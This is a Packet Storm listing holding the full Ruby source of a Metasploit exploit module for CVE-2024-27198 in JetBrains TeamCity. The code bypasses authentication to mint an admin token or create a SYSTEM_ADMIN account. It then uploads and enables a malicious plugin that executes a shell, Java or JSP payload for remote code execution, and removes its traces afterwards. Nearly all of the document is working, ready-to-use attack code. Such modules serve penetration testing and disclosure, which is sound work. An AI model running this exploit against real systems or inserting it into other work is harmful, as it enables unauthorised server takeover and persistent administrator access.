Lucene search

K
packetstormSfewer-r7, metasploit.comPACKETSTORM:177601
HistoryMar 14, 2024 - 12:00 a.m.

JetBrains TeamCity Unauthenticated Remote Code Execution

2024-03-1400:00:00
sfewer-r7, metasploit.com
packetstormsecurity.com
415
metasploit
exploit
authentication bypass
remote code execution
jetbrains teamcity

AI Score

7.4

Confidence

Low

EPSS

0.969

Percentile

99.8%

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'JetBrains TeamCity Unauthenticated Remote Code Execution',  
'Description' => %q{  
This module exploits an authentication bypass vulnerability in JetBrains TeamCity. An unauthenticated  
attacker can leverage this to access the REST API and create a new administrator access token. This token  
can be used to upload a plugin which contains a Metasploit payload, allowing the attacker to achieve  
unauthenticated RCE on the target TeamCity server. On older versions of TeamCity, access tokens do not exist  
so the exploit will instead create a new administrator account before uploading a plugin. Older version of  
TeamCity have a debug endpoint (/app/rest/debug/process) that allows for arbitrary commands to be executed,  
however recent version of TeamCity no longer ship this endpoint, hence why a plugin is leveraged for code  
execution instead, as this is supported on all versions tested.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'sfewer-r7', # Discovery, Analysis, Exploit  
],  
'References' => [  
['CVE', '2024-27198'],  
['URL', 'https://www.rapid7.com/blog/post/2024/03/04/etr-cve-2024-27198-and-cve-2024-27199-jetbrains-teamcity-multiple-authentication-bypass-vulnerabilities-fixed/'],  
['URL', 'https://blog.jetbrains.com/teamcity/2024/03/teamcity-2023-11-4-is-out/']  
],  
'DisclosureDate' => '2024-03-04',  
'Platform' => %w[java win linux unix],  
'Arch' => [ARCH_JAVA, ARCH_CMD],  
'Privileged' => false, # TeamCity may be installed to run as local system/root, or it may be run as a custom user account.  
# Tested against:  
# * TeamCity 2023.11.3 (build 147512) running on Windows Server 2022  
# * TeamCity 2023.11.2 (build 147486) running on Windows Server 2022  
# * TeamCity 2023.11.3 (build 147512) running on Linux  
# * TeamCity 2018.2.4 (build 61678) running on Windows Server 2016  
'Targets' => [  
[  
'Java', {  
'Platform' => 'java',  
'Arch' => ARCH_JAVA,  
'DefaultOptions' => {  
# We execute the Java payload in a thread in the target Tomcat process. Spawn must be 0 for this to  
# happen, otherwise Spawn forces the Paylaod.java class to drop the payload to disk. For an unknown  
# reason Spawn > 0 will not work against TeamCity on Linux.  
'Spawn' => 0  
}  
}  
],  
[  
'Java Server Page', {  
'Platform' => %w[win linux unix],  
'Arch' => ARCH_JAVA  
}  
],  
[  
'Windows Command', {  
'Platform' => 'win',  
'Arch' => ARCH_CMD  
}  
],  
[  
'Linux Command', {  
'Platform' => 'linux',  
'Arch' => ARCH_CMD  
}  
],  
[  
'Unix Command', {  
'Platform' => 'unix',  
'Arch' => ARCH_CMD  
}  
]  
],  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS]  
}  
)  
)  
  
register_options(  
[  
# By default TeamCity listens for HTTP requests on TCP port 8111 (Older version of the product listen on  
# port 80 by default).  
Opt::RPORT(8111),  
OptString.new('TARGETURI', [true, 'The base path to TeamCity', '/']),  
# The first user created during installation is an administrator account, so the ID will be 1.  
OptInt.new('TEAMCITY_ADMIN_ID', [true, 'The ID of an administrator account to authenticate as', 1])  
]  
)  
end  
  
# This is the authentication bypass vulnerability, allowing any authenticated endpoint to be access unauthenticated.  
def send_auth_bypass_request_cgi(opts = {})  
# The file name of the .jsp can be 0 or more characters (it just has to end in .jsp)  
vars_get = {  
'jsp' => "#{opts['uri']};#{Rex::Text.rand_text_alphanumeric(rand(8))}.jsp"  
}  
  
# Add in 0 or more random query parameters, and ensure the order is shuffled in the request.  
0.upto(rand(8)) do  
vars_get[Rex::Text.rand_text_alphanumeric(rand(1..8))] = Rex::Text.rand_text_alphanumeric(rand(1..16))  
end  
  
opts['vars_get'] ||= {}  
  
opts['vars_get'].merge!(vars_get)  
  
opts['shuffle_get_params'] = true  
  
opts['uri'] = normalize_uri(target_uri.path, Rex::Text.rand_text_alphanumeric(8))  
  
send_request_cgi(opts)  
end  
  
def check  
# We leverage the vulnerability to reach the /app/rest/server endpoint. If this request succeeds then we know the  
# target is vulnerable.  
server_res = send_auth_bypass_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'server')  
)  
  
return CheckCode::Unknown('Connection failed') unless server_res  
  
# A patched TeamCity, e.g. 2023.11.4, reports 403 (Forbidden)  
return CheckCode::Safe if server_res.code == 403  
  
return CheckCode::Unknown("Received unexpected HTTP status code: #{server_res.code}.") unless server_res.code == 200  
  
# We can request /app/rest/debug/jvm/systemProperties and pull out the Java "os.name" property. We dont fail the  
# check routine if this request fails, as we have enough info to provide a CheckCode, however displaying the target  
# platform can help inform the user what payload target to choose (i.e. Windows or Linux).  
sysprop_res = send_auth_bypass_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'debug', 'jvm', 'systemProperties')  
)  
  
platform = ''  
  
if sysprop_res&.code == 200  
xml_sysprop_data = sysprop_res.get_xml_document  
  
os_name = xml_sysprop_data&.at('property[name="os.name"]')  
  
platform = " running on #{os_name.attr('value')}" if os_name  
end  
  
xml_server_data = server_res.get_xml_document  
  
server_data = xml_server_data&.at('server')  
  
version = " #{server_data.attr('version')}" if server_data  
  
CheckCode::Vulnerable("JetBrains TeamCity#{version}#{platform}.")  
end  
  
def exploit  
#  
# 1. Leverage the auth bypass to generate a new administrator access token. Older version of TeamCity (circa 2018)  
# do not have support for access token, so we fall back to creating a new administrator account. The benefit  
# of using an access token is we can delete it when we are finished, unlike a user account.  
#  
token_name = Rex::Text.rand_text_alphanumeric(8)  
  
res = send_auth_bypass_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'users', "id:#{datastore['TEAMCITY_ADMIN_ID']}", 'tokens', token_name)  
)  
  
if res && (res.code == 404) && res.body.include?('api.NotFoundException')  
  
print_warning('Tokens API not found, falling back to creating an admin user.')  
  
token_name = nil  
token_value = nil  
  
http_authorization = auth_new_admin_user  
  
fail_with(Failure::NoAccess, 'Failed to login with new admin user credentials.') if http_authorization.nil?  
else  
unless res&.code == 200  
# One reason token creation may fail is if we use a user ID for a user that does not exist. We detect that here  
# and instruct the user to choose a new ID via the TEAMCITY_ADMIN_ID option.  
if res && (res.code == 404) && res.body.include?('User not found')  
print_warning('User not found. Try setting the TEAMCITY_ADMIN_ID option to a different ID.')  
end  
  
fail_with(Failure::UnexpectedReply, 'Failed to create an authentication token.')  
end  
  
# Extract the authentication token from the response.  
token_value = res.get_xml_document&.xpath('/token')&.attr('value')&.to_s  
  
fail_with(Failure::UnexpectedReply, 'Failed to read authentication token from reply.') if token_value.nil?  
  
print_status("Created authentication token: #{token_value}")  
  
http_authorization = "Bearer #{token_value}"  
end  
  
# As we have created an access token, this begin block ensures we delete the token when we are done.  
begin  
#  
# 2. Create a malicious TeamCity plugin to host our payload.  
#  
plugin_name = Rex::Text.rand_text_alphanumeric(8)  
  
zip_plugin = create_payload_plugin(plugin_name)  
  
fail_with(Failure::BadConfig, 'Could not create the payload plugin.') if zip_plugin.nil?  
  
#  
# 3. Upload the payload plugin to the TeamCity server  
#  
print_status("Uploading plugin: #{plugin_name}")  
  
message = Rex::MIME::Message.new  
  
message.add_part(  
"#{plugin_name}.zip",  
nil,  
nil,  
'form-data; name="fileName"'  
)  
  
message.add_part(  
zip_plugin.pack.to_s,  
'application/octet-stream',  
'binary',  
"form-data; name=\"file:fileToUpload\"; filename=\"#{plugin_name}.zip\""  
)  
  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'admin', 'pluginUpload.html'),  
'ctype' => 'multipart/form-data; boundary=' + message.bound,  
'keep_cookies' => true,  
'headers' => {  
'Origin' => full_uri,  
'Authorization' => http_authorization  
},  
'data' => message.to_s  
)  
  
fail_with(Failure::UnexpectedReply, 'Failed to upload the plugin.') unless res&.code == 200  
  
#  
# 4. We have to enable the newly uploaded plugin so the plugin actually loads into the server.  
#  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'admin', 'plugins.html'),  
'keep_cookies' => true,  
'headers' => {  
'Origin' => full_uri,  
'Authorization' => http_authorization  
},  
'vars_post' => {  
'action' => 'loadAll',  
'plugins' => plugin_name  
}  
)  
  
fail_with(Failure::UnexpectedReply, 'Failed to load the plugin.') unless res&.code == 200  
  
# As we have uploaded the plugin, this begin block ensure we delete the plugin when we are done.  
begin  
#  
# 5. Begin to clean up, register several paths for cleanup.  
#  
if (install_path, sep = get_install_path(http_authorization))  
vprint_status("Target install path: #{install_path}")  
  
if target['Arch'] == ARCH_JAVA  
# The Java payload plugin will have its buildServerResources extracted to a path like:  
# C:\TeamCity\webapps\ROOT\plugins\yxfyjrBQ  
# So we register this for cleanup.  
# Note: The java process may recreate this a second time after we delete it.  
register_dir_for_cleanup([install_path, 'webapps', 'ROOT', 'plugins', plugin_name].join(sep))  
end  
  
if (build_number = get_build_number(http_authorization))  
vprint_status("Target build number: #{build_number}")  
  
# The Tomcat web server will compile our ARCH_JAVA payload and store the associated .class files in a  
# path like: C:\TeamCity\work\Catalina\localhost\ROOT\TC_147512_6vDwPWJs\org\apache\jsp\plugins\_6vDwPWJs\  
# So we register this for cleanup too. This folder will be created for a ARCH_CMD payload, although  
# it will be empty.  
register_dir_for_cleanup([install_path, 'work', 'Catalina', 'localhost', 'ROOT', "TC_#{build_number}_#{plugin_name}"].join(sep))  
else  
print_warning('Could not discover build number. Unable to register Catalina files for cleanup.')  
end  
else  
print_warning('Could not discover install path. Unable to register files for cleanup.')  
end  
  
# On a Linux target we see the extracted plugin file remaining here even after we delete the plugin.  
# /home/teamcity/.BuildServer/system/caches/plugins.unpacked/XXXXXXXX/  
if (data_path = get_data_dir_path(http_authorization))  
vprint_status("Target data directory path: #{data_path}")  
  
register_dir_for_cleanup([data_path, 'system', 'caches', 'plugins.unpacked', plugin_name].join(sep))  
else  
print_warning('Could not discover data directory path. Unable to register files for cleanup.')  
end  
  
#  
# 6. Trigger the payload and get a session. ARCH_JAVA JSP payloads need us to hit an endpoint. ARCH_JAVA Java  
# payloads and ARCH_CMD payloads are triggered upon enabling a loaded plugin.  
#  
if target['Arch'] == ARCH_JAVA && target['Platform'] != 'java'  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'plugins', plugin_name, "#{plugin_name}.jsp"),  
'keep_cookies' => true,  
'headers' => {  
'Origin' => full_uri,  
'Authorization' => http_authorization  
}  
)  
  
fail_with(Failure::UnexpectedReply, 'Failed to trigger the payload.') unless res&.code == 200  
end  
ensure  
#  
# 7. Ensure we delete the plugin from the server when we are finished.  
#  
print_status('Deleting the plugin...')  
  
print_warning('Failed to delete the plugin.') unless delete_plugin(http_authorization, plugin_name)  
end  
ensure  
#  
# 8. Ensure we delete the access token we created when we are finished. If we authorized via a user name and  
# password, we cannot delete the user account we created.  
#  
if token_name && token_value  
print_status('Deleting the authentication token...')  
  
print_warning('Failed to delete the authentication token.') unless delete_token(token_name, token_value)  
end  
end  
end  
  
def auth_new_admin_user  
admin_username = Faker::Internet.username  
admin_password = Rex::Text.rand_text_alphanumeric(16)  
  
res = send_auth_bypass_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'users'),  
'ctype' => 'application/json',  
'data' => {  
'username' => admin_username,  
'password' => admin_password,  
'name' => Faker::Name.name,  
'email' => Faker::Internet.email(name: admin_username),  
'roles' => {  
'role' => [  
{  
'roleId' => 'SYSTEM_ADMIN',  
'scope' => 'g'  
}  
]  
}  
}.to_json  
)  
  
unless res&.code == 200  
print_warning('Failed to create an administrator user.')  
return nil  
end  
  
print_status("Created account: #{admin_username}:#{admin_password} (Note: This account will not be deleted by the module)")  
  
http_authorization = basic_auth(admin_username, admin_password)  
  
# Login via HTTP basic authorization and store the session cookie.  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'admin', 'admin.html'),  
'keep_cookies' => true,  
'headers' => {  
'Origin' => full_uri,  
'Authorization' => http_authorization  
}  
)  
  
# A failed login attempt will return in a 401. We expect a 302 redirect upon success.  
if res&.code == 401  
print_warning('Failed to login with new admin user credentials.')  
return nil  
end  
  
http_authorization  
end  
  
def create_payload_plugin(plugin_name)  
if target['Arch'] == ARCH_CMD  
  
case target['Platform']  
when 'win'  
shell = 'cmd.exe'  
flag = '/c'  
when 'linux', 'unix'  
shell = '/bin/sh'  
flag = '-c'  
else  
print_warning('Unsupported target platform.')  
return nil  
end  
  
zip_resources = Rex::Zip::Archive.new  
  
zip_resources.add_file(  
"META-INF/build-server-plugin-#{plugin_name}.xml",  
<<~XML  
<?xml version="1.0" encoding="UTF-8"?>  
<beans xmlns="http://www.springframework.org/schema/beans"  
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"  
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-3.0.xsd"  
default-autowire="constructor">  
<bean id="#{Rex::Text.rand_text_alpha(8)}" class="java.lang.ProcessBuilder" init-method="start">  
<constructor-arg>  
<list>  
<value>#{shell}</value>  
<value>#{flag}</value>  
<value><![CDATA[#{payload.encoded}]]></value>  
</list>  
</constructor-arg>  
</bean>  
</beans>  
XML  
)  
elsif target['Arch'] == ARCH_JAVA  
# If the platform is java we can bootstrap a Java Meterpreter  
if target['Platform'] == 'java'  
zip_resources = payload.encoded_jar(random: true)  
  
# Add in PayloadServlet as this is implements Runable and we can run the payload in a thread.  
servlet = MetasploitPayloads.read('java', 'metasploit', 'PayloadServlet.class')  
zip_resources.add_file('/metasploit/PayloadServlet.class', servlet)  
  
payload_bean_id = Rex::Text.rand_text_alpha(8)  
  
# We start the payload in a new thread via some Spring Expression Language (SpEL).  
bootstrap_spel = "\#{ new java.lang.Thread(#{payload_bean_id}).start() }"  
  
# NOTE: We place bootstrap_spel in a separate bean, as if this generates an exception the plugin will fail  
# to load correctly, which prevents the exploit from deleting the plugin later. We choose java.beans.Encoder  
# as the setExceptionListener method will accept the null value the bootstrap_spel will generate. If we  
# choose a property that does not exist, we generate several exceptions in the teamcity-server.log.  
  
zip_resources.add_file(  
"META-INF/build-server-plugin-#{plugin_name}.xml",  
<<~XML  
<?xml version="1.0" encoding="UTF-8"?>  
<beans xmlns="http://www.springframework.org/schema/beans"  
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"  
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-3.0.xsd">  
<bean id="#{payload_bean_id}" class="#{zip_resources.substitutions['metasploit']}.PayloadServlet"/>  
<bean class="java.beans.Encoder">  
<property name="exceptionListener" value="#{bootstrap_spel}"/>  
</bean>  
</beans>  
XML  
)  
else  
# For non java platforms with ARCH_JAVA, we can drop a JSP payload.  
zip_resources = Rex::Zip::Archive.new  
  
zip_resources.add_file("buildServerResources/#{plugin_name}.jsp", payload.encoded)  
end  
  
else  
print_warning('Unsupported target architecture.')  
return nil  
end  
  
zip_plugin = Rex::Zip::Archive.new  
  
zip_plugin.add_file(  
'teamcity-plugin.xml',  
<<~XML  
<?xml version="1.0" encoding="UTF-8"?>  
<teamcity-plugin xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="urn:schemas-jetbrains-com:teamcity-plugin-v1-xml">  
<info>  
<name>#{plugin_name}</name>  
<display-name>#{plugin_name}</display-name>  
<description>#{Faker::Lorem.sentence}</description>  
<version>#{Faker::App.semantic_version}</version>  
<vendor>  
<name>#{Faker::Company.name}</name>  
<url>#{Faker::Internet.url}</url>  
</vendor>  
</info>  
<deployment use-separate-classloader="true" node-responsibilities-aware="true"/>  
</teamcity-plugin>  
XML  
)  
  
zip_plugin.add_file("server/#{plugin_name}.jar", zip_resources.pack)  
  
zip_plugin  
end  
  
def get_install_path(http_authorization)  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'server', 'plugins'),  
'keep_cookies' => true,  
'headers' => {  
'Origin' => full_uri,  
'Authorization' => http_authorization  
}  
)  
  
unless res&.code == 200  
print_warning('Failed to request plugins information.')  
return nil  
end  
  
plugins_xml = res.get_xml_document  
  
restapi_data = plugins_xml.at("//plugin[@name='rest-api']")  
  
restapi_load_path = restapi_data&.attr('loadPath')  
  
if restapi_load_path.nil?  
print_warning('Failed to extract plugin loadPath.')  
return nil  
end  
  
# C:\TeamCity\webapps\ROOT\WEB-INF\plugins\rest-api  
  
platforms = {  
'\\webapps\\ROOT\\WEB-INF\\plugins\\' => '\\',  
'/webapps/ROOT/WEB-INF/plugins/' => '/'  
}  
  
platforms.each do |path, sep|  
if (pos = restapi_load_path.index(path))  
return [restapi_load_path[0, pos], sep]  
end  
end  
  
print_warning('Failed to extract install path.')  
nil  
end  
  
def get_data_dir_path(http_authorization)  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'server', 'dataDirectoryPath'),  
'keep_cookies' => true,  
'headers' => {  
'Origin' => full_uri,  
'Authorization' => http_authorization  
}  
)  
  
unless res&.code == 200  
print_warning('Failed to request data directory path.')  
return nil  
end  
  
res.body  
end  
  
def get_build_number(http_authorization)  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'server'),  
'keep_cookies' => true,  
'headers' => {  
'Origin' => full_uri,  
'Authorization' => http_authorization  
}  
)  
  
unless res&.code == 200  
print_warning('Failed to request server information.')  
return nil  
end  
  
xml_data = res.get_xml_document  
  
server_data = xml_data.at('server')  
  
server_data.attr('buildNumber')  
end  
  
def get_plugin_uuid(http_authorization, plugin_name)  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'admin', 'admin.html'),  
'keep_cookies' => true,  
'headers' => {  
'Origin' => full_uri,  
'Authorization' => http_authorization  
},  
'vars_get' => {  
'item' => 'plugins'  
}  
)  
  
unless res&.code == 200  
print_warning('Failed to list all plugins.')  
return nil  
end  
  
uuid_match = res.body.match(/'#{Regexp.quote(plugin_name)}', '([a-fA-F0-9]{8}-[a-fA-F0-9]{4}-[a-fA-F0-9]{4}-[a-fA-F0-9]{4}-[a-fA-F0-9]{12})'/)  
  
if uuid_match&.length != 2  
print_warning('Failed to grep for plugin GUID')  
return nil  
end  
  
uuid_match[1]  
end  
  
def delete_plugin(http_authorization, plugin_name)  
plugin_uuid = get_plugin_uuid(http_authorization, plugin_name)  
  
if plugin_uuid.nil?  
print_warning('Failed to discover enabled plugin UUID')  
return false  
end  
  
vprint_status("Enabled Plugin UUID: #{plugin_uuid}")  
  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'admin', 'plugins.html'),  
'keep_cookies' => true,  
'headers' => {  
'Origin' => full_uri,  
'Authorization' => http_authorization  
},  
'vars_post' => {  
'action' => 'setEnabled',  
'enabled' => 'false',  
'uuid' => plugin_uuid  
}  
)  
  
unless res&.code == 200  
print_warning('Failed to disable the plugin.')  
return false  
end  
  
# The UUID changes after we disable the plugin, so we need to call get_plugin_uuid a second time.  
plugin_uuid = get_plugin_uuid(http_authorization, plugin_name)  
  
if plugin_uuid.nil?  
print_warning('Failed to discover disabled plugin UUID')  
return false  
end  
  
vprint_status("Disabled Plugin UUID: #{plugin_uuid}")  
  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'admin', 'plugins.html'),  
'keep_cookies' => true,  
'headers' => {  
'Origin' => full_uri,  
'Authorization' => http_authorization  
},  
'vars_post' => {  
'action' => 'delete',  
'uuid' => plugin_uuid  
}  
)  
  
unless res&.code == 200  
print_warning('Failed request for plugin deletion.')  
return false  
end  
  
true  
end  
  
def delete_token(token_name, token_value)  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'admin', 'accessTokens.html'),  
'keep_cookies' => true,  
'headers' => {  
'Origin' => full_uri,  
'Authorization' => "Bearer #{token_value}"  
},  
'vars_post' => {  
'accessTokenName' => token_name,  
'delete' => 'true',  
'userId' => datastore['TEAMCITY_ADMIN_ID']  
}  
)  
  
res&.code == 200  
end  
  
end  
`